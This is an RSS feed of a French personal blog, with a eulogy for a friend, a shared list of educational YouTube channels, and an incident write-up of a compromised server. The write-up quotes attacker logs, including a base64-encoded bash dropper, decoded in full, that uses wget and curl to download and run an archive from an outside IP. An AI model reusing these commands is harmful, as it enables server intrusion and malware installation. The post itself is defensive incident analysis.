<?xml
version="1.0" encoding="utf-8"?>
<rss version="2.0" 
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:atom="http://www.w3.org/2005/Atom"
>

<channel xml:lang="fr">
	<title>L'Imp'Rock Sc&#233;nette (by @_daffyduke_)</title>
	<link>https://www.coincoin.fr.eu.org/</link>
	<description>Les billets personnels d'Olivier Duquesne plus connu sur la toile &#233;lectronique sous le pseudonyme de DaffyDuke ...
Je pouet de temps en temps sur Mastodon</description>
	<language>fr</language>
	<generator>SPIP - www.spip.net</generator>
	<atom:link href="http://www.coincoin.fr.eu.org/spip.php?id_auteur=1&amp;page=backend" rel="self" type="application/rss+xml" />

	<image>
		<title>L'Imp'Rock Sc&#233;nette (by @_daffyduke_)</title>
		<url>http://www.coincoin.fr.eu.org/local/cache-vignettes/L144xH97/siteon0-5c625.png?1719642190</url>
		<link>https://www.coincoin.fr.eu.org/</link>
		<height>97</height>
		<width>144</width>
	</image>



<item xml:lang="fr">
		<title>Sommaire</title>
		<link>http://www.coincoin.fr.eu.org/?Sommaire-31930</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Sommaire-31930</guid>
		<dc:date>2021-05-04T15:39:52Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>

-
&lt;a href="http://www.coincoin.fr.eu.org/?-BTS-Biochimie-" rel="directory"&gt;4- BTS Biochimie&lt;/a&gt;


		</description>


 <content:encoded>
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Salut Patrice</title>
		<link>http://www.coincoin.fr.eu.org/?Salut-Patrice</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Salut-Patrice</guid>
		<dc:date>2021-01-13T20:01:24Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>


		<dc:subject>annonce_accueil</dc:subject>
		<dc:subject>recit</dc:subject>

		<description>
&lt;p&gt;Ce lundi matin, mon ami Patrice en a fini. &lt;br class='autobr' /&gt; Magnifique portrait par mon ami Mathieu Drouet (@mathieu.drouet) &lt;br class='autobr' /&gt;
Tu sais Patrice, c'est ce copain rencontr&#233; pendant le festival qu'il organisait &#224; Arras. Sacr&#233;s Belges, via mon copain Steph. Grace &#224; lui j'ai model&#233; une culture rock avec Girls In Hawai, Ghinzu, Sharko, ... On a f&#234;t&#233; son d&#233;part du Pharos dignement ! (il est o&#249; Jean-Yves ?).Patrice m'a donn&#233; l'envie d'aller voir des concerts, au Grand Mix, &#224; Tourcoing. D'ann&#233;e en ann&#233;e,par son (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-A-la-maison-" rel="directory"&gt;A la maison&lt;/a&gt;

/ 
&lt;a href="http://www.coincoin.fr.eu.org/?+-annonce_accueil-+" rel="tag"&gt;annonce_accueil&lt;/a&gt;, 
&lt;a href="http://www.coincoin.fr.eu.org/?+-recit-+" rel="tag"&gt;recit&lt;/a&gt;

		</description>


 <content:encoded>&lt;img src='http://www.coincoin.fr.eu.org/local/cache-vignettes/L150xH150/arton31416-74f72.jpg?1719651513' class='spip_logo spip_logo_right' width='150' height='150' alt=&#034;&#034; /&gt;
		&lt;div class='rss_texte'&gt;&lt;p&gt;Ce lundi matin, mon ami Patrice en a fini.&lt;/p&gt;
&lt;a href=&#034;https://www.instagram.com/p/CJ6vqj4BwcJ/&#034;&gt;&lt;div class='spip_document_102732 spip_document spip_documents spip_document_image spip_documents_center spip_document_center spip_document_avec_legende' data-legende-len=&#034;46&#034; data-legende-lenx=&#034;x&#034;
&gt;
&lt;figure class=&#034;spip_doc_inner&#034;&gt; &lt;a href='http://www.coincoin.fr.eu.org/IMG/jpg/img_20210113_104910.jpg' class=&#034;spip_doc_lien mediabox&#034; type=&#034;image/jpeg&#034;&gt; &lt;img src='http://www.coincoin.fr.eu.org/local/cache-vignettes/L640xH640/img_20210113_104910-924f5.jpg?1719701154' width='640' height='640' alt='' /&gt;&lt;/a&gt;
&lt;figcaption class='spip_doc_legende'&gt; &lt;div class='spip_doc_titre '&gt;&lt;strong&gt;Portrait de Patrice Budzinsli
&lt;/strong&gt;&lt;/div&gt; &lt;div class='spip_doc_credits '&gt;Mathieu Drouet
&lt;/div&gt;
&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Magnifique portrait par mon ami Mathieu Drouet (@mathieu.drouet)&lt;/p&gt;
&lt;/a&gt;
&lt;p&gt;Tu sais Patrice, c'est ce copain rencontr&#233; pendant le festival qu'il organisait &#224; Arras. Sacr&#233;s Belges, via mon copain Steph. Grace &#224; lui j'ai model&#233; une culture rock avec Girls In Hawai, Ghinzu, Sharko, ... On a f&#234;t&#233; son d&#233;part du Pharos dignement ! (il est o&#249; Jean-Yves ?).Patrice m'a donn&#233; l'envie d'aller voir des concerts, au Grand Mix, &#224; Tourcoing. D'ann&#233;e en ann&#233;e,par son impulsion, je suis entr&#233; au Conseil d'Administration puis au Bureau de l'association. Que d'afters salu&#233;es comme des victoires. Je me souviendrai longtemps encore de ses enfants dansant sur le bar, des repas au catering avec les artistes que ce soit Gomm ou Puppetmastazz ou encore les pr&#233;sentations du trimestre : &#034;&#199;&#224; va &#234;tre bien&#034;.&lt;/p&gt;
&lt;p&gt;Patrice &#233;tait militant. Pour Beno&#238;t. Mais aussi pour Dominique et tant d'autres. Il aimait sans compter. On a voulu soutenir notre copain Dominique lorsqu'on a estim&#233; qu'il avait &#233;t&#233; licenci&#233; injustement. &#034;H&#233; toi l'informaticien, tu peux pas me faire un site vite fait pour qu'on montre &#231;a &#224; la t&#233;l&#233; ?&#034;.&lt;/p&gt;
&lt;div style=&#034;position:relative;padding-bottom:56.25%;height:0;overflow:hidden;&#034;&gt; &lt;iframe style=&#034;width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden&#034; frameborder=&#034;0&#034; type=&#034;text/html&#034; src=&#034;https://www.dailymotion.com/embed/video/x55ww7?autoplay=1&#034; width=&#034;100%&#034; height=&#034;100%&#034; allowfullscreen allow=&#034;autoplay&#034;&gt; &lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;On s'est retrouv&#233; plusieurs fois dans le bassin minier : une tourn&#233;e de bars, de copains, de g&#233;n&#233;rosit&#233; avant tout. Je suis n&#233; dans le Nord, je ne connaissais pas l'accueil du Nord comme &#231;a. Patrice, c'est l'ami que je ne voyait pas souvent mais qui me manquait d&#232;s la porte franchie.&lt;/p&gt;
&lt;p&gt;On pouvait parler de tout, beaucoup de culture. De musique bien s&#251;r, mais aussi de cin&#233;, de s&#233;ries, de bandes dessin&#233;es, de politique, des enfants, de sport (enfin surtout lui) ... Il a toujours montr&#233; que c'&#233;tait possible. Mais c'est aussi la seule personne avec qui je pouvais passer des heures &#224; refaire le monde autour d'une question tellement simple &#034;&#199;&#224; va ?&#034;.&lt;/p&gt;
&lt;p&gt;Nous avons pris plaisir quelques jours dans son village il y a d&#233;j&#224; trop longtemps. &#034;Faut v'nir hein, et pas que pendant les vacances&#034;. J'ai pas tenu ma promesse ...&lt;/p&gt;
&lt;p&gt;Une des derni&#232;res fois que nous avions &#233;chang&#233; au t&#233;l&#233;phone, c'&#233;tait pour me dire que son nouveau meilleur ami c'&#233;tait son chauffeur de taxi. 2h aller, 2h retour quotidien pour son traitement &#224; l'h&#244;pital. J'ai promis que je rappellerai plus souvent.&lt;/p&gt;
&lt;p&gt;J'appelle pas, personne, jamais. Je n'ai jamais su faire &#231;&#224;. Tu le savais, c'est toujours toi qui m'a appel&#233;. Toujours. Comme ce jour o&#249; tu m'as interdit de rester chez moi apr&#232;s une bien triste nouvelle. On est all&#233; au cinoch', dans le Pas de Calais, moi le lillois de la grande ville.&lt;/p&gt;
&lt;p&gt;Puis tu n'arrivais plus &#224; nous lire, alors c'est vrai on s'est un peu perdu. Mais si tu savais le nombre d'insomnies que j'ai pu avoir, hier encore, o&#249; tous ces mots se sont bouscul&#233;s encore et encore.&lt;/p&gt;
&lt;p&gt;Salut Patrice, tu &#233;tais fier de ta femme Sylvie et des enfants m&#234;me si &#034;ouai, c'est pas toujours facile tu sais&#034;. Je sais qu'ils sont fiers de leur papa.&lt;/p&gt;
&lt;p&gt;Que j'aime &#224; &#233;couter la musique qu'Alex a pr&#233;par&#233;. A chaque titre je te retrouve. Je n'arriverai pas &#224; t'oublier. Je commenterai ici uniquement les 3 titres que j'ai ajout&#233;s :&lt;/p&gt;
&lt;p&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; Walk The Line par Johnny Cash : c'est le film que nous sommes all&#233;s voir ensemble. Oui c'est le seul, mais c'est surtout le moment, c'&#233;tait ce jour l&#224; qu'il fallait le faire, merci
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; Turn To Dust par Cascadeur. Tu vois, tu avais quitt&#233; le Grand Mix (&#224; vai dire, l'A&#233;ro aussi), le Grand Mix &#233;tait en travaux, mais quand Cascadeur est venu jouer &#224; l'Id&#233;al, Alexandre a tenu &#224; te rendre hommage, il aurait voulu que tu sois l&#224; ce soir l&#224;
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; The Suburbs par Arcade Fire pour illustrer comment tu pouvais t'enthousiasmer pour des artistes. &#192; l'&#233;poque on s'&#233;changeait des mp3 sur napster ou soulseek, ce groupe commen&#231;ait &#224; peine &#224; percer au Canada, tu nous en parlais d&#233;j&#224;....&lt;/p&gt;
&lt;p&gt;Je ne t'appellerai pas. C'est promis.&lt;/p&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Les cha&#238;nes YouTube culturelles et scientifiques francophones</title>
		<link>http://www.coincoin.fr.eu.org/?Les-chaines-YouTube-culturelles-et-scientifiques-francophones</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Les-chaines-YouTube-culturelles-et-scientifiques-francophones</guid>
		<dc:date>2020-05-01T16:23:38Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>


		<dc:subject>download</dc:subject>
		<dc:subject>informations</dc:subject>

		<description>
&lt;p&gt;Je n'arrive pas &#224; retrouver la source du document, c'est une liste de 350 cha&#238;nes Youtube &#224; contenu &#233;ducatif. &lt;br class='autobr' /&gt;
Elle nous est propos&#233;e par Mathilde Hutin, pour le Minist&#232;re de la Culture. &lt;br class='autobr' /&gt;
Le document est sous licence Creative Common CC-by-NC.&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Ailleurs-" rel="directory"&gt;Ailleurs&lt;/a&gt;

/ 
&lt;a href="http://www.coincoin.fr.eu.org/?+-download-+" rel="tag"&gt;download&lt;/a&gt;, 
&lt;a href="http://www.coincoin.fr.eu.org/?+-informations-+" rel="tag"&gt;informations&lt;/a&gt;

		</description>


 <content:encoded>&lt;img src='http://www.coincoin.fr.eu.org/local/cache-vignettes/L117xH150/arton29755-fa113.jpg?1719651513' class='spip_logo spip_logo_right' width='117' height='150' alt=&#034;&#034; /&gt;
		&lt;div class='rss_texte'&gt;&lt;p&gt;Je n'arrive pas &#224; retrouver la source du document, c'est une liste de 350 cha&#238;nes Youtube &#224; contenu &#233;ducatif.&lt;/p&gt;
&lt;p&gt;Elle nous est propos&#233;e par Mathilde Hutin, pour le Minist&#232;re de la Culture.&lt;/p&gt;
&lt;p&gt;Le document est sous licence Creative Common CC-by-NC.&lt;/p&gt;&lt;/div&gt;
		
		</content:encoded>


		
		<enclosure url="http://www.coincoin.fr.eu.org/IMG/odt/350_chaines_youtube.odt" length="299486" type="application/vnd.oasis.opendocument.text" />
		

	</item>
<item xml:lang="fr">
		<title>Histoire d'un piratage</title>
		<link>http://www.coincoin.fr.eu.org/?Histoire-d-un-piratage</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Histoire-d-un-piratage</guid>
		<dc:date>2019-07-13T23:15:45Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>
&lt;p&gt;Ce matin, au r&#233;veil, apr&#232;s avoir pass&#233; une soir&#233;e de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant : &lt;br class='autobr' /&gt; *** SECURITY information for .kimsufi.com *** Date :	Sat, 13 Jul 2019 05:20:34 +0200 (CEST) &lt;br class='autobr' /&gt;
.kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan &lt;br class='autobr' /&gt;
Waw ! stupeur. D'abord, premi&#232;re r&#233;action : &#034;punaise, ils sont de mieux en mieux faits les spams de (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-A-la-maison-" rel="directory"&gt;A la maison&lt;/a&gt;


		</description>


 <content:encoded>&lt;img src='http://www.coincoin.fr.eu.org/local/cache-vignettes/L150xH150/arton27963-002e9.png?1719651513' class='spip_logo spip_logo_right' width='150' height='150' alt=&#034;&#034; /&gt;
		&lt;div class='rss_texte'&gt;&lt;p&gt;Ce matin, au r&#233;veil, apr&#232;s avoir pass&#233; une soir&#233;e de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='7' class='spip_cadre spip_cadre_block' dir='ltr'&gt;*** SECURITY information for &lt;hostname&gt;.kimsufi.com *** Date:	Sat, 13 Jul 2019 05:20:34 +0200 (CEST) &lt;hostname&gt;.kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan&lt;/textarea&gt;
&lt;p&gt;Waw ! stupeur. D'abord, premi&#232;re r&#233;action : &#034;punaise, ils sont de mieux en mieux faits les spams de nos jours !&#034; Je regarde l'en-t&#234;te, tout ce qui a l'air de plus l&#233;gal. Alors, regardons &#231;a de plus pr&#232;s. postgres, c'est probablement l'utilisateur de postgresql, je ne me souviens pas trop &#224; quoi il sert mais en effet, &#231;a fait un moment que mon outil de v&#233;rification des services cass&#233;s me le signale, je le red&#233;marre quand j'y pense. Clairement, ce .satan semble tr&#232;s &#233;trange mais rkhunter ne s'est pas plaint. lynis non plus. Poursuivons.&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;Analyses&lt;/h2&gt;
&lt;p&gt;Mon moteur de recherche pr&#233;f&#233;r&#233; signale quelqu'un ayant eu une attaque similaire : &lt;a href=&#034;https://social.imirhil.fr/@aeris/101864561434132681&#034; class=&#034;spip_out&#034; rel=&#034;external&#034;&gt;https://social.imirhil.fr/@aeris/101864561434132681&lt;/a&gt;&lt;br class='autobr' /&gt;
Moi aussi, je d&#233;couvre ce &lt;code class='spip_code spip_code_inline' dir='ltr'&gt;.firefoxcatche&lt;/code&gt;. Je d&#233;couvre aussi un r&#233;pertoire &lt;code class='spip_code spip_code_inline' dir='ltr'&gt;.ssh&lt;/code&gt; &#224; c&#244;t&#233;. Bizarre, je ne me souviens pas de &#231;a. Et l&#224;, j'&#233;pluche les logs. C'est l&#224; que snoopy va m'aider.&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='9' class='spip_cadre spip_cadre_block' dir='ltr'&gt;auth.log:Jul 9 09:35:40 &lt;hostname&gt; snoopy[22194]: [uid:127 sid:22194 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q 54.37.70.249/.satan; chmod 777 .satan auth.log:Jul 9 09:35:40 &lt;hostname&gt; sshd[21969]: Close session: user postgres from 186.3.234.169 port 33820 id 1 auth.log:Jul 9 09:35:41 &lt;hostname&gt; sshd[21969]: Starting session: command for postgres from 186.3.234.169 port 33820 id 0&lt;/textarea&gt;
&lt;p&gt;Ha ! L&#224;, c'est clair. Mais alors, que fait mon google-authenticator ? Il m'a bien demand&#233; un code pour ma propre connexion. J'essaye sur postgres. Stuper, le login se fait sans authentification ni mot de passe ni cl&#233;. OK, la machine est compromise.&lt;/p&gt;
&lt;p&gt;R&#233;fl&#233;chissions, si je me fais voir, il va prendre peur et peut-&#234;tre tout casser. Je continue &#224; analyser sans rien couper.&lt;/p&gt;
&lt;p&gt;OK, dans les logs, je vois des acc&#232;s de cron :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='15' class='spip_cadre spip_cadre_block' dir='ltr'&gt;auth.log:Jul 10 21:13:55 &lt;hostname&gt; snoopy[24068]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql filename:/bin/cat]: cat dir.dir auth.log:Jul 10 21:13:56 &lt;hostname&gt; snoopy[24069]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps auth.log:Jul 10 21:13:56 &lt;hostname&gt; snoopy[24070]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps.* auth.log:Jul 10 21:13:56 &lt;hostname&gt; snoopy[24071]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab cron.d auth.log:Jul 10 21:13:56 &lt;hostname&gt; snoopy[24072]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab -l&lt;/textarea&gt;
&lt;p&gt;je vois aussi des acc&#232;s &#224; systemd, mais difficile de savoir de quoi il s'agit. Ca tombe pile pendant une op&#233;ration de maintenance de ma part.&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='20' class='spip_cadre spip_cadre_block' dir='ltr'&gt;auth.log:Jul 10 19:30:32 &lt;hostname&gt; snoopy[19720]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service auth.log:Jul 10 19:30:50 &lt;hostname&gt; snoopy[19784]: [uid:0 sid:1 tty:(none) cwd:/ filename:/lib/systemd/system-generators/postgresql-generator]: /lib/systemd/system-generators/postgresql-generator /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late auth.log:Jul 10 19:30:50 &lt;hostname&gt; snoopy[19792]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/mkdir]: mkdir -p /run/systemd/generator/postgresql.service.wants auth.log:Jul 10 19:30:51 &lt;hostname&gt; snoopy[19794]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/sed]: sed s/#.*$//; /^[[:space:]]*$/d; s/^\s*//; s/\s*$// /etc/postgresql/9.6/main/start.conf auth.log:Jul 10 19:30:51 &lt;hostname&gt; snoopy[19796]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service&lt;/textarea&gt;
&lt;p&gt;J'ai encore un peu de mal &#224; savoir si c'est &#034;lui&#034; ou &#034;moi&#034;. Si c'est l'autre, c'est uid:0 donc root, donc c'est vraiment grave. Le stress monte.&lt;/p&gt;
&lt;p&gt;En effet, il y a quelque chose en cron :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='14' class='spip_cadre spip_cadre_block' dir='ltr'&gt;# DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.d installed on Wed Jul 10 21:22:58 2019) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 0 0 */3 * * /var/lib/postgresql/.firefoxcatche/a/upd&gt;/dev/null 2&gt;&amp;1 @reboot /var/lib/postgresql/.firefoxcatche/a/upd&gt;/dev/null 2&gt;&amp;1 5 8 * * 0 /var/lib/postgresql/.firefoxcatche/b/sync&gt;/dev/null 2&gt;&amp;1 @reboot /var/lib/postgresql/.firefoxcatche/b/sync&gt;/dev/null 2&gt;&amp;1 #5 1 * * * /tmp/.X15-unix/.rsync/c/aptitude&gt;/dev/null 2&gt;&amp;1&lt;/textarea&gt;
&lt;p&gt;Comprendre. Ce n'est pas moi sur ce cr&#233;neau horaire, &#231;a colle avec les logs, il ne faut pas rebooter, il y a d'autres r&#233;pertoires pourris : /tmp/.X15-unix .&lt;br class='autobr' /&gt;
L&#224; dedans, je trouve un tar.gz, un script rsync, des binaires comme ps ou kill.&lt;/p&gt;
&lt;p&gt;OK, &#231;a doit expliquer pourquoi je ne vois pas, &#231;a a &#233;t&#233; remplac&#233; ?&lt;br class='autobr' /&gt;
Un ps me montre que le process rsync tourne et c'est tout, rien &#224; c&#244;t&#233;. Ce n'est donc pas le rsync que je connais. J'en profite pour r&#233;installer procutils apr&#232;s avoir v&#233;rifi&#233; que : &lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; la conf apt n'a pas &#233;t&#233; alt&#233;r&#233;e r&#233;cemment
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; aucun fichier de configuration ne semble avoir &#233;t&#233; modifi&#233; r&#233;cemment de fa&#231;on ill&#233;gitime. Mais c'est difficile &#224; dire. le git log et les diff de toutes parts montrent bien qu'entre le premier login anormal distant et maintenant des tas de fichiers ont &#233;t&#233; modifi&#233;s. Normal, il y a eu une mise &#224; jour de la Debian, une mise &#224; jour majeur de Yunohost et surtout la migration de la configuration ssh de root vers admin.&lt;/p&gt;
&lt;p&gt;Je trouve curieux que postgre ait un shell valide, je pop vite fait une debian pour y mettre un postgresql-server, pareil. Et l'utilisateur n'a a priori pas de mot de passe. Pareil donc, la faille ne vient pas de l&#224;, pas encore.&lt;/p&gt;
&lt;p&gt;Je ne retrouve pas la cl&#233; SSH chez moi, les IP viennent de l'Equateur et de l'Inde.&lt;/p&gt;
&lt;p&gt;Je ne retrouve pas de configuration systemd.&lt;/p&gt;
&lt;p&gt;Les logs laissent penser que ce n'est pas un humain par leur quantit&#233; sur le temps imparti et les commandes ex&#233;cut&#233;es.&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='30' class='spip_cadre spip_cadre_block' dir='ltr'&gt;auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23201]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.ttp auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23202]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23203]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/mkdir]: mkdir /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23204]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r a /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23205]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r b /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23207]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/bin/sleep]: sleep 5s auth.log:Jul 10 21:10:40 &lt;hostname&gt; snoopy[23206]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./init0 auth.log:Jul 10 21:10:45 &lt;hostname&gt; snoopy[23214]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 &lt;hostname&gt; snoopy[23213]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 &lt;hostname&gt; snoopy[23215]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/cat]: cat dir2.dir&lt;/textarea&gt;
&lt;p&gt;Mais l&#224; &#231;a devient int&#233;ressant :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='14' class='spip_cadre spip_cadre_block' dir='ltr'&gt;auth.log:Jul 13 05:20:13 &lt;hostname&gt; snoopy[16816]: [uid:127 sid:16816 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /var/tmp; echo &#034;IyEvYmluL2Jhc2gKY2QgL3RtcApybSAtcmYgLlgxNS11bml4Cm1rZGlyIC5YMTUtdW5peApjZCAuWDE1LXVuaXgKcGtpbGwgLTkgY3JvbiA+IC5vdXQKd2dldCAtcSBodHRwOi8vNTQuMzcuNzAuMjQ5L2RvdGEyLnRhci5neiB8fCBjdXJsIC1PIC1mIGh0dHA6Ly81NC4zNy43MC4yNDkvZG90YTIudGFyLmd6CnNsZWVwIDdzICYmIHRhciB4ZiBkb3RhMi50YXIuZ3oKI3JtIC1yZiBkb3RhMi50YXIuZ3oKY2QgLnJzeW5jCmNobW9kIDc3NyAqCmNkIC90bXAvLlgxNS11bml4Ly5yc3luYy9hICYmIC4vY3JvbiB8fCAuL2FuYWNyb24KZXhpdCAw&#034; | base64 --decode | bash auth.log:Jul 13 05:20:16 &lt;hostname&gt; sshd[16814]: Starting session: command for postgres from 202.91.82.54 port 33519 id 1&lt;/textarea&gt;
&lt;p&gt;Je vous le d&#233;code pour vous :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='13' class='spip_cadre spip_cadre_block' dir='ltr'&gt;#!/bin/bash cd /tmp rm -rf .X15-unix mkdir .X15-unix cd .X15-unix pkill -9 cron &gt; .out wget -q http://54.37.70.249/dota2.tar.gz || curl -O -f http://54.37.70.249/dota2.tar.gz sleep 7s &amp;&amp; tar xf dota2.tar.gz #rm -rf dota2.tar.gz cd .rsync chmod 777 * cd /tmp/.X15-unix/.rsync/a &amp;&amp; ./cron || ./anacron&lt;/textarea&gt;
&lt;p&gt;Je fais le curl au m&#234;me endroit, &#231;a pourra aider pour la suite.&lt;/p&gt;
&lt;p&gt;Le .rsync est fait un script perl en base64 qui &#233;coute en https.&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;Rem&#233;diation&lt;/h2&gt;
&lt;p&gt;J'oubliais de pr&#233;ciser. Entre temps, la mise &#224; jour de procps a vraiment fait monter en I/O le serveur, l'acc&#232;s SSH semble cass&#233;.&lt;/p&gt;
&lt;p&gt;Via l'interface web de Yunohost, j'arr&#234;te SSH purement est simplement. J'ai alors des alertes syst&#232;mes et d'indispo de la part du monitoring OVH, je prends peut, j'avoue, et je d&#233;marre la machine en mode rescue.&lt;/p&gt;
&lt;p&gt;A supposer que des mots de passe soient compromis, je r&#233;cup&#232;re les acc&#232;s modifie les mots de passe de messagerie et supprime les mails re&#231;us qui indiqueraient &#224; l'attaquant comment acc&#233;der au mode rescue. Apr&#232;s, &#231;a n'eclue rien , mais je me f&#233;licite d'y avoir pens&#233; sur le moment.&lt;/p&gt;
&lt;p&gt;Je prends le temps d'analyser le contenu du data2.tar.gz&lt;/p&gt;
&lt;p&gt;C'est un truc de script kiddie.&lt;/p&gt;
&lt;p&gt;La cha&#238;ne du .rsync se retrouve sur un site de machines compromises (la mienne n'y est pas encore) : &lt;a href=&#034;http://threatwar.com/ssh/commands&#034; class=&#034;spip_url spip_out auto&#034; rel=&#034;nofollow external&#034;&gt;http://threatwar.com/ssh/commands&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Des gros finds sur l'uid 127 ne semblent pas confirmer la pr&#233;sence d'autres fichiers.&lt;/p&gt;
&lt;p&gt;Je me contente de supprimer les r&#233;pertoires critiques dans /var/lib/postgresql, dans /var/tmp, dans /tmp. Je d&#233;gage la cron. J'en profite pour n'autoriser qu'un seul utilisateur dans la configuration sshd.&lt;/p&gt;
&lt;p&gt;Et je reboot.&lt;/p&gt;
&lt;p&gt;Une fois online, je modifie le mot de passe de postgres (vu qu'on voit bien qu'il a &#233;t&#233; modifi&#233; dans les logs de snoopy), j'&#233;teins postgresql, je d&#233;sactive le compte.&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;Post analyses&lt;/h2&gt;
&lt;p&gt;D&#233;j&#224;, pas de nouvelles tentatives dans les logs d'authentification.&lt;/p&gt;
&lt;p&gt;fail2ban a bien fait son travail mais vu qu'il n'y a pas assez de tentatives .... J'en conclue que la faille devait &#234;tre connue sur un mot de passe postgresql faibles sur debian (avec yunohost ?).&lt;/p&gt;
&lt;p&gt;Tous les services ont un comportement normal, les donn&#233;es n'ont pas &#233;t&#233; alt&#233;r&#233;es. Vol&#233;es ? Difficile &#224; dire.&lt;/p&gt;
&lt;p&gt;La lecture du data2.tar.gz est d&#233;cid&#233;ment instructif.&lt;/p&gt;
